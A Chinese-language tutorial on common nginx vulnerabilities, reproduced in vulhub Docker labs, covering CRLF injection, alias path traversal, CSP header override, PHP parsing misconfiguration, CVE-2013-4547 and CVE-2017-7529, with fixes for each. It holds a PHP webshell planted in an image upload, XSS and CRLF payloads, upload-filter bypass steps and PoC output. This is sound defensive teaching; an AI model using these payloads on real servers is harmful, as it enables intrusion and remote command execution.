nginx中间件常见漏洞总结

  • 1.中间件漏洞的概念
  • 1.1 中间件、容器、服务器的基本概念辨析
  • 2.Nginx 配置错误导致漏洞
  • 2.1 `$uri`导致的CRLF注入漏洞
  • 2.1.1 漏洞成因
  • 2.1.2 利用方式
  • 2.1.3 修改方案
  • 2.2 目录穿越漏洞
  • 2.1.1 漏洞成因
  • 2.2.2 利用方式
  • 2.2.3 修改方案
  • 2.3 Http Header被覆盖
  • 2.3.1 漏洞成因
  • 2.3.2 利用方式
  • 2.3.3 修改方案
  • 2.3.4 关于Content Security Policy
  • 2.4 Nginx 解析漏洞复现
  • 2.4.1 漏洞成因
  • 2.4.2 利用示例
  • 2.4.3 修改方案
  • 3.nginx程序漏洞
  • 3.1 Nginx 文件名逻辑漏洞(CVE-2013-4547)
  • 3.1.1 漏洞成因
  • 3.1.1.1 nginx解析PHP的原理
  • 3.1.1.2 引发条件
  • 3.1.2 利用示例
  • 1.访问漏洞点,分析利用思路
  • 2.构造图片+php的图片马加入恶意php语句
  • 3.使用burp进行抓包修改上传文件
  • 4.测试正常访问图片
  • 5.测试payload
  • 6.原理剖析
  • 3.2 Nginx越界读取缓存漏洞(CVE-2017-7529)
  • 3.2.1 引发原因
  • 3.2.2 利用示例
  • 4.小结


1.中间件漏洞的概念

中间件漏洞可以说是最容易被web管理员忽视的漏洞,原因很简单,因为这并不是应用程序代码上存在的漏洞,而是属于一种应用部署环境的配置不当或者使用不当造成的。但是在开发使用过程中也不乏官方程序自身的一些安全问题。

我们在处理应急响应事件时经常遇到这么一种情况,客户网站代码是外包的,也就是第三方公司负责开发,而部署可能是由客户内部运维人员负责。暂不说他们对于中间件安全的重视程度与了解程度,只谈发现漏洞后如何处理,便是一团乱。开发商推卸说这并不是代码上的问题,他们完全是按照安全开发流程(SDL)走的,所以跟他无关;运维人员就一脸蒙蔽了,反驳道:你们当初没跟我说要配置什么啊,只是让我安装个程序就ok了,我怎么知道?

在谈中间件安全问题时,我觉得有必要先梳理下以上几种关系以及概念。当初我在接触这些概念时,脑子里就是一团浆糊,中间件、容器、服务器、webserver等等概念感觉彼此很相似,但又有所区别。

1.1 中间件、容器、服务器的基本概念辨析

web服务器:
web服务器用于提供http服务,即向客户端返回信息,其可以处理HTTP协议,响应针对静态页面或图片的请求,控制页面跳转,或者把动态请求委托其它程序(中间件程序)等。

web中间件:
web中间件用于提供系统软件和应用软件之间的连接,以便于软件各部件之间的沟通,其可以为一种或多种应用程序提供容器。

web容器:
web容器用于给处于其中的应用程序组件(JSP,SERVLET)提供一个环境,是中间件的一个组成部分,它实现了对动态语言的解析。比如tomcat可以解析jsp,是因为其内部有一个jsp容器。

常见组件:

web服务器:IIS、Apache、nginx、tomcat、weblogic、websphere等。
web中间件:apache tomcat、BEA WebLogic、IBM WebSphere等。
web容器:JSP容器、SERVLET容器、ASP容器等。

注意:web中间件与web服务器是有重叠的,原因在于tomcat等web中间件也具备web服务器的功能。

说白了,web中间件就是运行在服务器上的一个程序,它的作用是为服务器提供一个解析http或者https请求的方案。由它充当中间人,确定前端传输的信息应该交给后端哪一个文件进行处理,并向前端返回结果。

对于其的操控我们大多数时候是在LINUX环境下采用配置文件对其进行控制。这就意味着某些错误的配置会引发一些安全漏洞。并且作为一款程序,也一定会存在着一些自身的安全漏洞。以上两个方向就是我们研究任何一个中间件漏洞应该具有的基本认知。

今天我们先来看一看nginx出现过的一些漏洞,其为基于docker的漏洞环境集成库,对我们的学习很有帮助。

2.Nginx 配置错误导致漏洞

#进入目录运行docker环境
cd /root/vulhub-master/nginx/insecure-configuration
docker-compose up -d

作为因为错误配置引发的安全漏洞,其影响面自然是全版本支持此类配置的nginx。下面不在赘述。

2.1 $uri导致的CRLF注入漏洞

2.1.1 漏洞成因

下面两种情景十分常见:

  1. 用户访问http://example.com/aabbcc,自动跳转到https://example.com/aabbcc
  2. 用户访问http://example.com/aabbcc,自动跳转到http://www.example.com/aabbcc

第二个场景主要是为了统一用户访问的域名,更加有益于SEO优化。

在跳转的过程中,我们需要保证用户访问的页面不变,所以需要从Nginx获取用户请求的文件路径。查看Nginx文档,可以发现有三个表示uri的变量:

  1. $uri
  2. $document_uri
  3. $request_uri

解释一下,1和2表示的是解码以后的请求路径,不带参数;3表示的是完整的URI(没有解码)。

错误配置:

location / {
    return 302 https://$host$uri;
}
#因为`$uri`是解码以后的请求路径,所以可能就会包含换行符,也就造成了一个CRLF注入漏洞。

因为前两种写法会进行url解码,所以我们一旦在请求路径内添加换行符的urlcode编码,就可以将其混到返回的数据包内起到修改返回数据的作用。甚至可以让恶意语句进入返回体内部引发更严重的XSS攻击。

2.1.2 利用方式

我们在请求的过程中发送一个带有换行符编码的请求:

#请求内容
curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
#测试结果
[root@blackstone insecure-configuration]# curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.13.0
Date: Thu, 12 Jan 2023 12:18:16 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://192.168.2.169:8080/
Set-Cookie: a=1

可以看到,我们对返回的结果进行了篡改,返回结果多加了一条set-cookie这样的信息。

也就是说,错误的用$uri获取用户的请求路径会导致用户接收的信息被悄无声息的篡改掉。

我们使用burp抓包可以看到另一种可能性:在我们发送两个连续的换行\r\n后,可以直接修改返回报文的返回体。插入js代码引发xss。

nginx 补丁修复漏洞 nginx常见漏洞_中间件

2.1.3 修改方案

在获取用户的请求路径时,配置文件内出现的配置应当是$request_uri,例如:

location / {
    return 302 https://$host$request_uri;
}

测试效果:

#1.编辑配置文件,投放进docker
[root@blackstone configuration]# cat fix1.conf
server {
        listen 8080;

        root /usr/share/nginx/html;

        index index.html;

        server_name _;

        location / {
                return 302 http://$host:$server_port$request_uri;
        }
}

#2.将配置文件放到特定目录,重启nginx
[root@blackstone configuration]# docker exec -it fa2e43aabeec /bin/bash
root@fa2e43aabeec:/# cp fix1.conf /etc/nginx/conf.d/
root@fa2e43aabeec:/# rm -f /etc/nginx/conf.d/error1.conf 
root@fa2e43aabeec:/etc/nginx/conf.d# nginx -s reload


#3.查看效果,确实可以有效消除CRLF的影响
[root@blackstone ~]# curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.13.0
Date: Wed, 08 Feb 2023 18:44:14 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1

2.2 目录穿越漏洞

2.1.1 漏洞成因

这个常见于Nginx做反向代理的情况,动态的部分被proxy_pass传递给后端端口,而静态文件需要Nginx来处理。

假设静态文件存储在/home/目录下,而该目录在url中名字为files,那么就需要用alias设置目录的别名:

location /files {
    alias /home/;
}

此时,访问http://example.com/files/readme.txt,就可以获取/home/readme.txt文件。

但我们注意到,url上/files没有加后缀/,而alias设置的/home/是有后缀/的,这个/就导致我们可以从/home/目录穿越到他的上层目录:

2.2.2 利用方式

http://192.168.2.169:8081/files../

nginx 补丁修复漏洞 nginx常见漏洞_java_02


进而我们获得了一个任意文件下载漏洞。

2.2.3 修改方案

在进行alies配置的过程中一定保证location后的匹配路径和别名路径一致。否则就会引发这样的路径穿越漏洞。

2.3 Http Header被覆盖

2.3.1 漏洞成因

众所周知,Nginx的配置文件分为Server、Location、If等一些配置块,并且存在包含关系,和编程语言比较类似。如果在外层配置的一些选项,是可以被继承到内层的。

但这里的继承也有一些特性,比如add_header,子块中配置后将会覆盖父块中的add_header添加的所有HTTP头,造成一些安全隐患

如下列代码,Server块添加了CSP头:

server {
    ...
    add_header Content-Security-Policy "default-src 'self'";
    add_header X-Frame-Options DENY;

    location = /test1 {
        rewrite ^(.*)$ /xss.html break;
    }

    location = /test2 {
        add_header X-Content-Type-Options nosniff;
        rewrite ^(.*)$ /xss.html break;
    }
}

但/test2的location中又添加了X-Content-Type-Options头,nginx仅载入模块内部的头部修改信息,则会导致在父块中配置的 add_header Content-Security-Policy "default-src 'self'";无法在/test2中生效。从而使/test2这里无法获得防御功能。

2.3.2 利用方式

此处的漏洞环境内部,部署了xss漏洞点,通过 add_header Content-Security-Policy "default-src 'self'";头的配置理论上是可以防御XSS攻击的。但是由于此处/test2目录下的配置错误,导致这条配置不在此目录下生效。故依旧可以使用XSS进行攻击。

nginx 补丁修复漏洞 nginx常见漏洞_java_03


nginx 补丁修复漏洞 nginx常见漏洞_php_04

#这是转到的JS文件,获取锚点也就是#后面的内容添加到<p>标签内部
window.onload = function() {
    var m = document.getElementById('m');
    m.innerHTML = location.hash.substr(1);
}

故其利用代码可以写为:

http://192.168.2.169:8082/test2#<script>alert(1)</script>

nginx 补丁修复漏洞 nginx常见漏洞_中间件_05


可以看到,新版的浏览器在这里进行了一些过滤,我们使用旧版浏览器再次测试:

nginx 补丁修复漏洞 nginx常见漏洞_中间件_06


可以看到,实际上/test2的防御机制并未打开。不过例子中的xss触发方案已经被浏览器防御了。

2.3.3 修改方案

配置头部信息修改时细分到最小块,这样才能最大限度的保证每一个小块的头部配置都是正确的。当然,也可以写到父块中,但是子块在进行头部个性化修改时,切记将父块中的头配置给子块复制一份。

说的更清楚一点,就是关于header的修改操作。不在nginx配置继承范围内。子块一旦修改,最终调用的配置就只在子块内部寻找。

修改配置文件为:

#1.直接在宿主机上修改对应文件也生效(配置文件是从宿柱机链进去的,具体可以看.yml文件)
[root@blackstone configuration]# pwd
/root/vulhub-master/nginx/insecure-configuration/configuration
#2.修改文件
[root@blackstone configuration]# cat error3.conf
server {
        listen 8082;

        root /usr/share/nginx/html;

        index index.html;

        server_name _;

    autoindex on;

    add_header Content-Security-Policy "default-src 'self'";
    add_header X-Frame-Options DENY;

        location = /test1 {
                rewrite ^(.*)$ /xss.html break;
        }

    location = /test2 {
        add_header X-Content-Type-Options nosniff;
        add_header Content-Security-Policy "default-src 'self'";
        add_header X-Frame-Options DENY;
        rewrite ^(.*)$ /xss.html break;
    }
}
#3.进入docker重启nginx
[root@blackstone configuration]# docker exec -it fa2e43aabeec /bin/bash
root@fa2e43aabeec:/# nginx -s reload

再次测试:

http://192.168.2.169:8082/test2#<img scr=1 οnerrοr=alert(1)>

nginx 补丁修复漏洞 nginx常见漏洞_java_07

2.3.4 关于Content Security Policy

参考《Content Security Policy 入门教程》

“网页安全政策”(Content Security Policy,缩写 CSP),CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

两种方法可以启用 CSP。一种是通过 HTTP 头信息的Content-Security-Policy的字段。

#此处表示仅仅信任自己的同源脚本 --- 禁止外部非法资源加载,阻断xss攻击
Content-Security-Policy: script-src 'self'; object-src 'none';
style-src cdn.example.org third-party.org; child-src https:

另一种是通过网页的<meta>标签。

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

限制类型:

script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如、、和)
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
default-src:用来设置上面各个选项的默认值。

更多请移步原文。

2.4 Nginx 解析漏洞复现

环境启动:

[root@blackstone nginx_parsing_vulnerability]# cd /root/vulhub-master/nginx/nginx_parsing_vulnerability
[root@blackstone nginx_parsing_vulnerability]# docker-compose up -d

2.4.1 漏洞成因

这绝对是我见过最冤种的配置错误,这样的配置看起来确实是很想故意而为之,但是既然作者罗列出来了。说明有选手做过。

#php.ini --- 在php.ini中开启路径修复功能
cgi.fix_pathinfo=1

#php-fpm.conf --- 在php-fpm模块中开启了.jpg的php解析
security.limit_extensions = .php .jpg

这二者合在一起,在网页有文件上传功能时,百分百引发文件上传漏洞。属于高危配置手法。对于这个例子可能需要大家去看看3.1.1.1中的nginx解析php原理。

总结来说,漏洞成因就是同时开启路径修复和图片后缀名解析(或者直接将解析配置为空)

2.4.2 利用示例

1.找到上传文件的位置,直接上传恶意文件

#创建php文件内容如下,更名为attack.jpg
<?php phpinfo();
system($_GET['var']); ?>

这里这样上传会被禁止掉,我们将其添加到图片里,作为图片马进行上传。

nginx 补丁修复漏洞 nginx常见漏洞_java_08


可以看到,文件被重命名了,此时利用新名字我们结合配置漏洞即可实现非法php解析。

2.测试php解析情况

#访问url
http://192.168.2.169/uploadfiles/c3d13d4e323f0927a9dadb85ece4aea3.jpg/.php

可以看到解析php的效果:

nginx 补丁修复漏洞 nginx常见漏洞_java_09

当然也可以尝试命令执行:

http://192.168.2.169/uploadfiles/c3d13d4e323f0927a9dadb85ece4aea3.jpg/.php?var=whoami

nginx 补丁修复漏洞 nginx常见漏洞_中间件_10

3.过程剖析

首先文件上传的时候是以图片马的形式躲避了php文件检测,传到服务器上的。
接下来要解决的问题就是解析,我们使用了这样一条请求路径:

http://192.168.2.169/uploadfiles/c3d13d4e323f0927a9dadb85ece4aea3.jpg/.php

因为php后缀请求被交给了php模块处理,第一次请求传递到php-fpm,由其分配php-cgi进行php解析,发现文件无法寻找,于是根据php.ini的内容重新将这个路径往上调一级,一看php-fpm的解析规则(security.limit_extensions = 空或者有.jpg),后缀.jpg,在白名单里。允许解析。于是进行解析,将解析结果返回给了客户端。引发非法php解析。

2.4.3 修改方案

实际环境中一定一定要规避这样的不安全配置方法。特别是对于php-fpm的配置文件,确定解析的文件后缀名通常均应限制为.php

3.nginx程序漏洞

对于程序本身的漏洞我们能做的就是版本升级,时刻保持程序为最新版,才有可能把风险降到最低。对于以下漏洞的修复方案就不在赘述。

3.1 Nginx 文件名逻辑漏洞(CVE-2013-4547)

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
环境位置:/nginx/CVE-2013-4547

3.1.1 漏洞成因

3.1.1.1 nginx解析PHP的原理

要理解这个漏洞我们就需要先大致搞清楚nginx中php究竟是如何解析的。我们先来看一张图:

nginx 补丁修复漏洞 nginx常见漏洞_php_11


图中的几个定义:

  • CGI:CGI是一种协议,它定义了Nginx或者其他Web Server传递过来的数据格式,全称是(Common Gateway Interface,CGI),CGI是一个独立的程序,独立与WebServer之外,任何语言都可以写CGI程序,例如C、Perl、Python等。
  • FastCGI:FastCGI是一种协议,它的前身是CGI,可以简单的理解为是优化版的CGI,拥有更够的稳定性和性能。
  • PHP-CGI:只是一个PHP的解释器,本身只能解析请求,返回结果,不会做进程管理。
  • PHP-FPM:全称FastCGI Process Manager,看名称就可以知道,PHP-FPM是FastCGI进程的管理器,但前面讲到FastCGI是协议并不是程序,所以它管理的是PHP-CGI,形成了一个类似PHP-CGI进程池的概念。
  • Wrapper:字母意思是包装的意思,包装的是谁呢?包装的是FastCGI,通过FastCGI接口,Wrapper接收到请求后,会生成一个新的线程调用PHP解释器来处理数据。

Nginx调用PHP的过程是比较复杂的,需要花大量的时间来学习和梳理。通过原理图和刚才的定义,我们对Nginx处理PHP请求有了大致的了解。那么,Nginx是如何知道将什么样的文件当作PHP文件处理?是在nginx.conf配置文件中的

location ~ \.php$ {
    root           html;
    include        fastcgi_params;

    fastcgi_pass   IP:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

location后面的\.php$代表了以.php结尾的文件都安装花括号中的内容执行,其中fastcgi_pass就是nginxphp-fpm的媒介,Nginx将请求通过fastcgi_pass转发给php-fpm。fastcgi_pass可以和Nginx不在同一台服务器上,它们通过IP+PORT的方式进行通信。

3.1.1.2 引发条件

作为相应版本的程序,其在解析URL时存在一定的缺陷,我们请求1.jpg[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.jpg[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。也就是说后端的php代码在处理的过程中所接受到的文件名就是1.jpg

同时,服务器上的php-fpm配置文件www.conf中出现这么一行:

[root@blackstone php-fpm]# cat www.conf
[www]
security.limit_extensions =

我们先来看看原配置文件中官方给出的建议:

[root@blackstone php-fpm]# vim /etc/php-fpm.d/www.conf

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
#这一句是重点,在设置解析时,为空则表示允许所有的后缀解析
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5

在CVE2013的加持下,我们可以利用nginx对于截断符号的错误处理,轻松操控php文件绕过php代码对其的检测。在加上php-fpm配置文件中的错误配置。就有可能实现上传非法的webshell或者实现RCE。

3.1.2 利用示例

1.访问漏洞点,分析利用思路

nginx 补丁修复漏洞 nginx常见漏洞_java_12


这里是一个文件上传点,我们分析以下它的源码:

<?php
if (!empty($_FILES)):

// Check for errors
if($_FILES['file_upload']['error'] > 0){
    die('An error ocurred when uploading.');
}

// Check filesize
if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) {
    die('File is not uploaded file');
}

//字符过滤防御文件上传漏洞
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (empty($ext) || in_array($ext, ['php', 'php3', 'php5', 'phtml'])) {
    die('Unsupported filetype uploaded.');
}

$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
    die('Error uploading file - check destination is writeable.');
}

die('File uploaded successfully: ' . $new_name);

else:
?>
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>
<?php
endif

php语句中对于上传的文件进行了十分严密的过滤,确保了上传文件时的安全。但是我们可以利用CVE2013进行绕过

2.构造图片+php的图片马加入恶意php语句

nginx 补丁修复漏洞 nginx常见漏洞_nginx_13

<?php phpinfo();
system($_GET['var']); ?>

3.使用burp进行抓包修改上传文件

nginx 补丁修复漏洞 nginx常见漏洞_php_14


这时要注意了,我们需要修改请求头中的filename一栏为attack.jpg11.php然后到hex界面修改其内容为attack.jpg2000.php

nginx 补丁修复漏洞 nginx常见漏洞_nginx 补丁修复漏洞_15


nginx 补丁修复漏洞 nginx常见漏洞_中间件_16


小技巧:寻找11不方便的话,认准"2e 70 68 70"保准没错

点击send,上传成功

nginx 补丁修复漏洞 nginx常见漏洞_php_17

4.测试正常访问图片

nginx 补丁修复漏洞 nginx常见漏洞_java_18


真帅~,咳咳,现在明显是正常解析,不是说要RCE嘛,这都正常解析了,还咋RCE,这也不灵嘛。我开始也是这样的疑惑,咱看完下面的payload就恍然大悟了。

5.测试payload

继续抓包这个访问页面,将请求路径中的attack.jpg修改为attack.jpg11.php,在上hex页面修改为attack.jpg2000.php

nginx 补丁修复漏洞 nginx常见漏洞_nginx 补丁修复漏洞_19


再次修改:

nginx 补丁修复漏洞 nginx常见漏洞_nginx 补丁修复漏洞_20


点击send测试:

nginx 补丁修复漏洞 nginx常见漏洞_php_21


尝试执行一个命令:

nginx 补丁修复漏洞 nginx常见漏洞_中间件_22


到此,复现完毕。

6.原理剖析

首先说文件怎么上去的,很简单,因为我们一开始上传文件的时候中间出现的0x00就是一个终止符,在php进行处理的时候只读到这里就结束了。这一点我们在服务器上也可以证实:

[root@blackstone uploadfiles]# ll
total 8
-rw-r--r-- 1 33 33 42 Feb  8 17:22 attack.jpg
-rw-r--r-- 1 33 33 42 Feb  8 17:22 attack.jpg

其次,就是最精彩的部分,如何解析的,到了这一步才用到了我们CVE2013的特点。我们请求1.jpg[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.jpg[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。

此时fastcgi收到此请求,便将处理请求传给php-fpm,php-fpm看到这个请求,对比了一下自己的配置文件,恰好允许所有类型的文件进行解析。于是就分配出一个php-cgi来解析这个.jpg后缀的文件。引发了后面的惨剧。

其实这个漏洞的触发条件算比较苛刻了,因为正常的配置人员不可能在PHP-FPM配置文件里配置出security.limit_extensions = null这样的配置。这是在是很危险了。

3.2 Nginx越界读取缓存漏洞(CVE-2017-7529)

[root@blackstone CVE-2017-7529]# docker-compose up -d

影响版本:Nginx 0.5.6 ~ 1.13.2

3.2.1 引发原因

Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

说实话,这样的漏洞危害几乎为0,因为缓存下来的文件通常为自己的静态文件,并不敏感。但是确实造成了用户的缓存信息泄露。值得一看。

3.2.2 利用示例

[root@blackstone CVE-2017-7529]# python3 poc.py http://192.168.2.169:8080/

--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -605-611/612

A@�cb`RY�=�cr�\me"59526062-264"
KEY: http://127.0.0.1:8081/
HTTP/1.1 200 OK
Server: nginx/1.13.2
Date: Thu, 09 Feb 2023 00:27:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
Connection: close
ETag: "59526062-264"
Accept-Ranges: bytes

<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854773979-611/612

可以看到结果中确实看到了前面的缓存文件内容。

4.小结

对于nginx中间件所存在的漏洞大致分为两类,一类是因为我们的错误引发的。例如错误使用$uri引发的CRLF换行解析漏洞,因为location路径和alies路径不一致引发的路径穿越,因为header控制语句不继承而导致的http header头覆盖,因为php-fpm和php.ini同时出错而引发的php解析漏洞。都是很有意思的一些例子。

当然还有nginx程序漏洞,比如曾经出现过的文件名逻辑漏洞。在伴随着php-fpm模块错误配置的情况下。通过00截断结合.php后缀,让请求在被错误的交给php模块处理的同时,命中先前上传好的php图片马。最终被php-fpm模块以命中白名单的形式进行解析。引发一次php非法解析。

最后,我们又看了一个几乎无用的越界缓存漏洞,在请求头中利用range字段,输入恰当的负数。可以让我们读到与服务器先前的一些通信信息。造成一些可能的静态文件的泄露。

当然,有的漏洞在现阶段我们看它也就仅仅是一个普通漏洞,或许在某一个环境下,它又变得不可或缺了呢。

还有,不要忘记我们先前做过的nginx-host请求字段绕过的漏洞,那也是一个十分有趣的漏洞。